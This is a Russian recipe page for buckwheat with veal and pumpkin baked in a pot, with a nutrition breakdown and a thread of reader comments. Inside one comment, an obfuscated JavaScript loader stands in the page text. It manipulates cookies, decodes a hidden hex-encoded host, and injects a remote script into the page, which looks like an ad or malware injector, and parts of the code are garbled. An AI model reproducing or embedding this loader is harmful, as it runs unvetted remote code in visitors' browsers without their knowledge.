Lyubasha Maximenko
05.09.2015 17:56

Гречка с телятиной и тыквой в горшочке

Калорийность - 67.4 кКал; белки - 5.5 г; жиры - 0.7 г; углеводы - 9.8 г на 100 г.
Ингредиенты
Тыква (Припускание) 90 г
Телятина, лопаточная часть (Тушение) 100 г
Гречиха, зерно продовольственное (Варка без слива) 75 г
Лук репчатый (Припускание) 90 г
Вода 250 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 1 ч
Описание
Моем, нарезаем телятину, шинкуем лук, моем гречу, шинкуем тыкву.
Всё складываем в горшочек, солим, наливаем воду, закрываем и ставим в духовку 200С на час.
Через час достаем и наслаждаемся вкусняшкой)))
Приятного аппетита)))
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 67.4 кКал 4%
Белки 5.5 г 7.24%
Жиры 0.7 г 1.25%
Углеводы 9.8 г 4.47%
Пищевые волокна 2.8 г 14%
Вода 82 г 3.61%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
7
A
4.8%
b-car
4.7%
В1
3.8%
B2
3.4%
Холин
4%
B5
5.2%
B6
8.5%
B9
2.3%
B12
~
C
1.7%
D
~
E
1.7%
H
0.3%
вит.К
~
PP
13.7%
Калий
6.8%
Ca
2.4%
Si
57.7%
Mg
11.5%
Na
1.6%
P
12.3%
Cl
1.6%
Fe
10.6%
I
1.3%
Co
25.2%
Mn
15.4%
Cu
18.6%
Mo
7.9%
Se
~
F
2.3%
Cr
2.4%
Zn
10%
 11 
 24
Алена_z 05.09.2015 18:39
спасибо, за рецепт!
Lyubasha Maximenko 05.09.2015 18:48
Алена_zАлена_z, пожалусйта, пробуйте)))
Наталья Сотник 05.09.2015 19:10
супер, а то у нас дома в горшочках только мясо с картошкой делается для мужчин, а себе кабачки-капусту-баклажаны шинкую. а ведь можно и с гречей сделать
Lyubasha Maximenko 05.09.2015 19:14
Наталья Сотник, и с гречей и с рисом и с перловкой)))))) всё, что душе угодно)))) и даже отварную лапшу+яйцо и овощи/мясо запекают )))))
svetlana 05.09.2015 19:33
спасибо  за  рецепт!
Lyubasha Maximenko 05.09.2015 19:46
svetlana, пожалуйста)))
Элина 06.09.2015 21:33
Спасибо!
Lyubasha Maximenko 07.09.2015 05:38
Элина, пожалуйста))) Пробуйте))))
Александра 07.09.2015 10:44
Как же соблазнительно выглядит! Аж слюнки потекли))
Lyubasha Maximenko 07.09.2015 12:05
Александра, знаете, какой был аромат!!! и вкус))))
Александра 07.09.2015 12:15
Lyubasha Maximenko, обязательно попробую сделать)
Алена Собко 07.09.2015 12:20
попробуюwindow.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21550",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Lyubasha Maximenko 07.09.2015 12:20
Александра, удачи и приятного аппетита))))
Анна Литвинова 07.09.2015 12:54
аппетитно...и так по-осеннему
Lyubasha Maximenko 07.09.2015 12:56
Анна Литвинова, да, вы правы, не лёгкий летний перекус)))
спасибо, обожаю все в горшочках...жаркое, чанахи, мусака. Теперь добавлю к ним еще этот рецепт
Lyubasha Maximenko 07.09.2015 13:03
Мы белые и пушистые, оййй, подождите, скажите пожалуйста что такое чанахи? чесслово - услыхала впервые такое вкусное слово)))
Lyubasha Maximenko 07.09.2015 13:13
Мы белые и пушистые, а здесь у вас есть именно ваш способ? меня очень заинтересовало)))
Ирина 07.09.2015 15:01
Как вкусно все пишут! Утаскиваю. Спасибо!
Lyubasha Maximenko 07.09.2015 15:18
Ирина Петрова, пожалуйста)))
Алла 123 08.09.2015 06:44
Забрала! Попробую!
Lyubasha Maximenko 08.09.2015 06:48
Алла 123, удачи и приятного аппетита))
Алла 123 08.09.2015 16:19
Lyubasha Maximenko, Спасибо!
Интересные блоги
Лучшие рационы
Новые рецепты